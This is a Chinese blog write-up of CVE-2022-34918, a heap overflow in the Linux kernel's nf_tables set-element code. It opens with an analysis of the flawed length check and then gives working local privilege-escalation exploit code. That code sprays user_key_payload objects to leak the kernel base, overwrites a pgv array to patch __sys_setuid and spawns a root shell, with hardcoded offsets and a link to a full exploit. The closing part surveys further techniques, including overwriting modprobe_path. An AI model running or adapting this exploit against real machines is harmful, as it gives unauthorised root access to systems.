Dig into Netfilter (四) —— CVE-2022-34918

CVE-2022-34918

漏洞分析

在nft_set_elem_init函数中, 有几处使用memcpy的地方让人眼前一亮.
众所周知审溢出就是审读写时使用的大小是否小于等于分配内存时使用的大小.

但这几处分配空间使用的是tmpl->len, 而写入的长度是(set->klen + set->klen + set->dlen) (对应属性都存在的情况下), 这促使我们向上回溯看看这些值之间是否存在上述小于等于的关系.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void *nft_set_elem_init(const struct nft_set *set,
const struct nft_set_ext_tmpl *tmpl,
const u32 *key, const u32 *key_end,
const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
struct nft_set_ext *ext;
void *elem;

elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
if (elem == NULL)
return NULL;

ext = nft_set_elem_ext(set, elem);
nft_set_ext_init(ext, tmpl);

if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY))
memcpy(nft_set_ext_key(ext), key, set->klen);
if (nft_set_ext_exists(ext, NFT_SET_EXT_KEY_END))
memcpy(nft_set_ext_key_end(ext), key_end, set->klen);
if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
memcpy(nft_set_ext_data(ext), data, set->dlen);
if (nft_set_ext_exists(ext, NFT_SET_EXT_EXPIRATION)) {
*nft_set_ext_expiration(ext) = get_jiffies_64() + expiration;
if (expiration == 0)
*nft_set_ext_expiration(ext) += timeout;
}
if (nft_set_ext_exists(ext, NFT_SET_EXT_TIMEOUT))
*nft_set_ext_timeout(ext) = timeout;

return elem;
}

tmpl结构是在nft_add_set_elem函数中逐渐填充修改的, 该函数是为set添加一个元素.
比如如果指定了NFTA_SET_ELEM_KEY, 那么会调用nft_set_ext_add_length, 将tmpl->len增加set->klen的长度, 并设置对应的offset字段.

下面是一些相关的代码片段(只考虑与上述三个memcpy相关的元素属性).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
if (nla[NFTA_SET_ELEM_KEY]) {
err = nft_setelem_parse_key(ctx, set, &elem.key.val,
nla[NFTA_SET_ELEM_KEY]);
if (err < 0)
goto err_set_elem_expr;

nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY, set->klen);
}

if (nla[NFTA_SET_ELEM_KEY_END]) {
err = nft_setelem_parse_key(ctx, set, &elem.key_end.val,
nla[NFTA_SET_ELEM_KEY_END]);
if (err < 0)
goto err_parse_key;

nft_set_ext_add_length(&tmpl, NFT_SET_EXT_KEY_END, set->klen);
}

if (num_exprs) {
for (i = 0; i < num_exprs; i++)
size += expr_array[i]->ops->size;

nft_set_ext_add_length(&tmpl, NFT_SET_EXT_EXPRESSIONS,
sizeof(struct nft_set_elem_expr) +
size);
}

if (nla[NFTA_SET_ELEM_DATA] != NULL) {
err = nft_setelem_parse_data(ctx, set, &desc, &elem.data.val,
nla[NFTA_SET_ELEM_DATA]);
if (err < 0)
goto err_parse_key_end;

dreg = nft_type_to_reg(set->dtype);
list_for_each_entry(binding, &set->bindings, list) {
struct nft_ctx bind_ctx = {
.net = ctx->net,
.family = ctx->family,
.table = ctx->table,
.chain = (struct nft_chain *)binding->chain,
};

if (!(binding->flags & NFT_SET_MAP))
continue;

err = nft_validate_register_store(&bind_ctx, dreg,
&elem.data.val,
desc.type, desc.len);
if (err < 0)
goto err_parse_data;

if (desc.type == NFT_DATA_VERDICT &&
(elem.data.val.verdict.code == NFT_GOTO ||
elem.data.val.verdict.code == NFT_JUMP))
nft_validate_state_update(ctx->net,
NFT_VALIDATE_NEED);
}

nft_set_ext_add_length(&tmpl, NFT_SET_EXT_DATA, desc.len);
}


elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
elem.key_end.val.data, elem.data.val.data,
timeout, expiration, GFP_KERNEL);

可以发现, tmpl的len 大致是 (set->klen + set->klen + desc.len) (只考虑与上述三个memcpy相关的元素属性). 即在解析NFTA_SET_ELEM_DATA时预留的空间是desc.len而不是memcpy时使用的set->dlen, 于是继续分析desc的解析过程.

nft_setelem_parse_data函数:

  • 首先调用nft_data_init函数从nla[NFTA_SET_ELEM_DATA]中解析出nft_data和对应的nft_data_desc.
  • 判断desc->type, 如果不是NFT_DATA_VERDICT则比较desc->len 与 set->dlen.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static int nft_setelem_parse_data(struct nft_ctx *ctx, struct nft_set *set,
struct nft_data_desc *desc,
struct nft_data *data,
struct nlattr *attr)
{
int err;

err = nft_data_init(ctx, data, NFT_DATA_VALUE_MAXLEN, desc, attr);
if (err < 0)
return err;

if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen) {
nft_data_release(data, desc->type);
return -EINVAL;
}

return 0;
}

nft_data有两种类型, VALUE和VERDICT, 对应两种nft_data_desc, 对于前者大小可达NFT_DATA_VALUE_MAXLEN(64字节), 对于后者大小为固定的16字节.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

struct nft_data {
union {
u32 data[4];
struct nft_verdict verdict;
};
} __attribute__((aligned(__alignof__(u64))));

int nft_data_init(const struct nft_ctx *ctx,
struct nft_data *data, unsigned int size,
struct nft_data_desc *desc, const struct nlattr *nla)
{
struct nlattr *tb[NFTA_DATA_MAX + 1];
int err;

err = nla_parse_nested_deprecated(tb, NFTA_DATA_MAX, nla,
nft_data_policy, NULL);
if (err < 0)
return err;

if (tb[NFTA_DATA_VALUE])
return nft_value_init(ctx, data, size, desc,
tb[NFTA_DATA_VALUE]);
if (tb[NFTA_DATA_VERDICT] && ctx != NULL)
return nft_verdict_init(ctx, data, desc, tb[NFTA_DATA_VERDICT]);
return -EINVAL;
}

分析完了, 再来看看把desc->len和set->dlen关联上的判断, 其实问题很明显了, 如果desc->type是NFT_DATA_VERDICT, 那么desc->len就可以小于(不等于)set->dlen, 这就可能在memcpy时造成溢出.

1
if (desc->type != NFT_DATA_VERDICT && desc->len != set->dlen)

利用分析

继续分析这个溢出, set->dlen的限制是NFT_DATA_VALUE_MAXLEN(64字节), 而NFT_DATA_VERDICT的空间是固定的16字节, 那么溢出的最大长度为48字节.
溢出的destination是GFP_KERNEL的堆上对象, 同时我们能布置 nft_set_ext_data(ext)在该对象内存的末尾(这与nft_add_set_elem函数中调用nft_set_ext_add_length的顺序有关)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
	elem.priv = nft_set_elem_init(set, &tmpl, elem.key.val.data,
elem.key_end.val.data, elem.data.val.data,
timeout, expiration, GFP_KERNEL);

void *nft_set_elem_init(const struct nft_set *set,
const struct nft_set_ext_tmpl *tmpl,
const u32 *key, const u32 *key_end,
const u32 *data, u64 timeout, u64 expiration, gfp_t gfp)
{
struct nft_set_ext *ext;
void *elem;

elem = kzalloc(set->ops->elemsize + tmpl->len, gfp);
if (elem == NULL)
return NULL;

ext = nft_set_elem_ext(set, elem);
nft_set_ext_init(ext, tmpl);
......

if (nft_set_ext_exists(ext, NFT_SET_EXT_DATA))
memcpy(nft_set_ext_data(ext), data, set->dlen);

return elem;
}

而溢出的source是elem.data.val.data, 这是nft_setelem_parse_data函数解析的结果.
由于我们设置了desc->type为NFT_DATA_VERDICT, 这意味着我们对elem.data.val.data没有完全的控制能力, 且能控制的长度也不超过sizeof(nft_data), 而这其实就是完全没有控制能力.

仿佛这个溢出的能力就是将最多48字节杂乱的值在堆中越界写入.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* struct nft_set_elem - generic representation of set elements
*
* @key: element key
* @key_end: closing element key
* @priv: element private data and extensions
*/
struct nft_set_elem {
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} key_end;
union {
u32 buf[NFT_DATA_VALUE_MAXLEN / sizeof(u32)];
struct nft_data val;
} data;
void *priv;
};

但elem字段并没有进行初始化, 而在nf_tables_newsetelem函数中, 会循环调用nft_add_set_elem处理用户提供的nla[NFTA_SET_ELEM_LIST_ELEMENTS]属性.
这意味着在多次nft_add_set_elem中, elem结构中会残留上一次处理的数据, 而该数据对于NFT_DATA_VALUE类型来说是完全可控的. 于是我们就有了完全可控的48字节堆溢出.
(不得不感叹: “漏洞利用是需要缘分的”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
static int nft_add_set_elem(struct nft_ctx *ctx, struct nft_set *set,
const struct nlattr *attr, u32 nlmsg_flags)
{
struct nft_expr *expr_array[NFT_SET_EXPR_MAX] = {};
struct nlattr *nla[NFTA_SET_ELEM_MAX + 1];
u8 genmask = nft_genmask_next(ctx->net);
u32 flags = 0, size = 0, num_exprs = 0;
struct nft_set_ext_tmpl tmpl;
struct nft_set_ext *ext, *ext2;
struct nft_set_elem elem;
......
}

static int nf_tables_newsetelem(struct sk_buff *skb,
const struct nfnl_info *info,
const struct nlattr * const nla[])
{
struct nftables_pernet *nft_net = nft_pernet(info->net);
struct netlink_ext_ack *extack = info->extack;
u8 genmask = nft_genmask_next(info->net);
u8 family = info->nfmsg->nfgen_family;
struct net *net = info->net;
const struct nlattr *attr;
struct nft_table *table;
struct nft_set *set;
struct nft_ctx ctx;
int rem, err;

if (nla[NFTA_SET_ELEM_LIST_ELEMENTS] == NULL)
return -EINVAL;

table = nft_table_lookup(net, nla[NFTA_SET_ELEM_LIST_TABLE], family,
genmask, NETLINK_CB(skb).portid);
if (IS_ERR(table)) {
NL_SET_BAD_ATTR(extack, nla[NFTA_SET_ELEM_LIST_TABLE]);
return PTR_ERR(table);
}

set = nft_set_lookup_global(net, table, nla[NFTA_SET_ELEM_LIST_SET],
nla[NFTA_SET_ELEM_LIST_SET_ID], genmask);
if (IS_ERR(set))
return PTR_ERR(set);

if (!list_empty(&set->bindings) && set->flags & NFT_SET_CONSTANT)
return -EBUSY;

nft_ctx_init(&ctx, net, skb, info->nlh, family, table, NULL, nla);

nla_for_each_nested(attr, nla[NFTA_SET_ELEM_LIST_ELEMENTS], rem) {
err = nft_add_set_elem(&ctx, set, attr, info->nlh->nlmsg_flags);
if (err < 0)
return err;
}

if (nft_net->validate_state == NFT_VALIDATE_DO)
return nft_table_validate(net, table);

return 0;
}

GFP_KERNEL完全可控堆溢出咋利用? 只能说对于USMA之后时代的研究者, 答案已经不言而喻了.

先堆溢出覆盖user_key_payload的datalen字段造越界读, 读的对象也就是user_key_payload对象本身RCU释放时的user_free_payload_rcu函数指针, 得到内核基址.

再堆溢出覆盖pgv数组, USMA修改__sys_setuid即可.

EXP

完整EXP及测试环境可在此获取: CVE-2022-34918 .
首先把触发堆溢出的板子写出来, 还是使用libnftnl的导出函数.
先添加一个NFTNL_SET_ELEM_DATA类型的elem布置payload, 再添加NFTNL_SET_ELEM_VERDICT类型的elem触发溢出, 然后一起通过send_batch_request发送.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int trigger_overflow(struct mnl_socket* nl, char* table_name, char* set_name, uint16_t family,int* seq,char* payload,int id)
{
int ret;
struct nftnl_set *s = NULL;
s = nftnl_set_alloc();
if (s == NULL)
err_exit("nftnl_set_alloc");
nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(s, NFTNL_SET_NAME, set_name);

struct nftnl_set_elem *e = NULL;
e = nftnl_set_elem_alloc();
if (e == NULL)
err_exit("nftnl_set_alloc");

char data[0x100] = {0};
memset(data,'a',sizeof(data));
snprintf(data,0x100,"key1_%d");
nftnl_set_elem_set(e ,NFTNL_SET_ELEM_KEY,data,0x1C);
nftnl_set_elem_set(e ,NFTNL_SET_ELEM_DATA,payload,0x28);
nftnl_set_elem_add(s,e);

e = NULL;
e = nftnl_set_elem_alloc();
if (e == NULL)
err_exit("nftnl_set_alloc");

memset(data,'A',sizeof(data));
snprintf(data,0x100,"key2_%d");
nftnl_set_elem_set(e ,NFTNL_SET_ELEM_KEY,data,0x1C);
nftnl_set_elem_set_u32(e,NFTNL_SET_ELEM_VERDICT,NF_DROP);
nftnl_set_elem_add(s,e);

ret = send_batch_request(
nl,
NFT_MSG_NEWSETELEM | (NFT_TYPE_SET_ELEMS << 8),
NLM_F_CREATE, family, (void**)&s, seq,
NULL
);

if(ret < 0 && ret != -EEXIST)
err_exit("send_batch_request");
}

然后是leak, 步骤是:

  • 堆喷user_key_payload, 并释放其中的一部分
  • 触发elem对象的分配和堆溢出, 尝试覆写user_key_payload->datalen.
  • 遍历读取每一个key, 如果读出的长度为0xfff, 则找到了被我们修改的key, 从中泄露出内核基址
  • 如果没找到, 释放掉整个key再次尝试(注意unlink和revoke的区别).
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    #define NKEYS_SPRAY 128*1 + 22
    #define KEY_HOLES_BEGIN 100
    #define KEY_HOLES_STEP 10
    #define KEY_PAYLOAD_LEN 32
    int key_ids[NKEYS_SPRAY];
    int corrupted_key = -1;
    int id = 0;
    int leak(struct mnl_socket* nl, char* table_name, char* set_name, uint16_t family,int* seq)
    {
    char desc[0x100] = {0};
    char key_payload[0x100] = {0};
    int ret;

    retry:
    memset(key_payload,'C',0x100);
    for(int i = 0; i < NKEYS_SPRAY;++i)
    {
    snprintf(desc,0x100,"desc%d",i);
    key_ids[i] = key_alloc(desc,key_payload,KEY_PAYLOAD_LEN);
    if(key_ids[i] == -1)
    err_exit("key_alloc");
    }


    for(int i = KEY_HOLES_BEGIN; i < NKEYS_SPRAY; i+= KEY_HOLES_STEP)
    {
    ret = key_revoke(key_ids[i]);
    if(ret < 0)
    err_exit("key_revoke");
    }
    sleep(1);

    char leak_payload[0x100] = {0};
    memset(leak_payload,'B',0x100);
    *(uint16_t*)(leak_payload+0x20) = 0xfff;

    trigger_overflow(nl,table_name,set_name,family,seq,leak_payload,id);

    for(int i = 0; i < NKEYS_SPRAY;++i)
    {
    ret = key_read(key_ids[i],buff,0xfff);
    if(ret == 0xfff)
    {
    corrupted_key = i;
    break;
    }
    }

    if(corrupted_key == -1)
    {
    loge("Not Found corrupted user_key_payload, try again...");
    for(int i = 0; i < NKEYS_SPRAY;++i)
    ret = key_unlink(key_ids[i]);
    id++;
    sleep(1);
    goto retry;
    }

    logi("Found corrupted user_key_payload, id: %d",corrupted_key);


    for(int i = 0; i < NKEYS_SPRAY;++i)
    {
    if(i == corrupted_key)
    continue;
    ret = key_revoke(key_ids[i]);
    }

    ret = key_read(key_ids[corrupted_key],buff,0xfff);

    for(int i = 0; i < 0xfff/0x40; ++i)
    {
    if(buff[6+i*8] > 0xffff000000000000)
    {
    kernel_base = buff[6+i*8]-0x34f8a0;
    HEX("kernel_base",kernel_base);
    break;
    }
    }
    key_revoke(key_ids[corrupted_key]);
    sleep(1);
    }

基本同样的方式, 只不过堆喷的对象从user_key_payload变成了pgv. 最后改写__sys_setuid之后, 要使用一个提前准备好的根命名空间中的进程来弹root shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int USMA(struct mnl_socket* nl, char* table_name, char* set_name, uint16_t family,int* seq)
{
int ret;
char* corrupted_ptr = NULL;
char* ptr;
#define NPGV_SPRAY 50
#define PGV_HOLES_BEGIN 30
#define PGV_HOLES_STEP 5

int sockfds[NPGV_SPRAY];
retry:
for(int i = 0; i < NPGV_SPRAY; ++i)
{
sockfds[i] = create_socket_and_alloc_pages(0x1000,5);
}

for(int i = PGV_HOLES_BEGIN; i < NPGV_SPRAY; i+= PGV_HOLES_STEP)
{
ret = close(sockfds[i]);
if(ret < 0)
err_exit("free pages");
}


#define SETUID_OFFSET 0x621c0
char USMA_payload[0x100] = {0};
memset(USMA_payload,'B',0x100);
*(size_t*)(USMA_payload+0x10) = (kernel_base+SETUID_OFFSET) & (~0xfff);
*(size_t*)(USMA_payload+0x18) = (kernel_base+SETUID_OFFSET+0x1000) & (~0xfff);
*(size_t*)(USMA_payload+0x20) = (kernel_base+SETUID_OFFSET+0x2000) & (~0xfff);

trigger_overflow(nl,table_name,set_name,family,seq,USMA_payload,id);

for(int i = 0; i < NPGV_SPRAY; ++i)
{
ptr = mmap(NULL,5*0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,sockfds[i],0);
if(ptr == -1)
continue;
// HEX("asd",*(size_t*)ptr);
if(*(size_t*)ptr == 0x00000080a88b48fe)
{
corrupted_ptr = ptr;
break;
}
munmap(ptr,0x5000);
}

if(corrupted_ptr == NULL)
{
loge("Not found corrupted pgv, try again...");
for(int i = 0; i < NPGV_SPRAY; i++)
{
ret = close(sockfds[i]);
}
id++;
goto retry;
}

logi("Found corrupted pgv, now overwrite __sys_setuid");

if(*((char*)ptr+0x21d) == 0x74)
*((char*)ptr+0x21d) = 0x75;
else
fail_exit("something wrong when overwrite __sys_setuid");

sync_s->x1 = 1;

while (true)
;

}

void prepare_root_process()
{
if(fork() == 0)
{
while (!sync_s->x1)
;

setuid(0);
get_root_shell();
exit(0);

}
}

Something

一些与该漏洞相关的技术:

  1. 原作者使用percpu_ref_data对象来泄露地址信息, 该对象可通过io_uring_setup分配.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    struct percpu_ref_data {
    atomic_long_t count;
    percpu_ref_func_t *release;
    percpu_ref_func_t *confirm_switch;
    bool force_atomic:1;
    bool allow_reinit:1;
    struct rcu_head rcu;
    struct percpu_ref *ref;
    };
  2. 原作者借鉴 https://starlabs.sg/blog/2022/06-io_uring-new-code-new-bugs-and-a-new-exploit-technique/ 中的unlink attack, 堆溢出修改simple_xattr的链表头, 使得在unlink时能触发next->prev = prev的写入. 但这同时要求prev是可写地址, 所以能写入的内容并不是完全可控. 如果能泄露线性映射区的地址, 就可以构造一个前四字节为任意值的合法地址, 从而将modprobe_path修改为 /tmp/xxxxprobe.

1
2
3
4
5
6
7
8
9
10
11
12
13
struct simple_xattr {
struct list_head list;
char *name;
size_t size;
char value[];
};

static inline void __list_del(struct list_head * prev, struct list_head * next)
{
next->prev = prev;
WRITE_ONCE(prev->next, next);
}

  1. veritas501在基于USMA的内核通用EXP编写思路在 CVE-2022-34918 上的实践 中提出了一些编写内核偏移无关利用的思路:
    通过从fs_context中泄露地址, 由于其中有内核函数地址和cred地址, 可以轻松的编写内核无关EXP并进行提权.

(其实能写不限长度的内核shellcode了, 感觉做啥都是信手拈来…).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* Userspace access mutex */
struct file_system_type *fs_type;
void *fs_private; /* The filesystem's context */
void *sget_key;
struct dentry *root; /* The root and superblock */
struct user_namespace *user_ns; /* The user namespace for this mount */
struct net *net_ns; /* The network namespace for this mount */
const struct cred *cred; /* The mounter's credentials */
struct fc_log *log; /* Logging buffer */
const char *source; /* The source name (eg. dev path) */
void *security; /* Linux S&M options */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* Need to call ops->free() */
bool global:1; /* Goes into &init_user_ns */
};


参考文章

https://blog.randorisec.fr/fr/crack-linux-firewall/

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信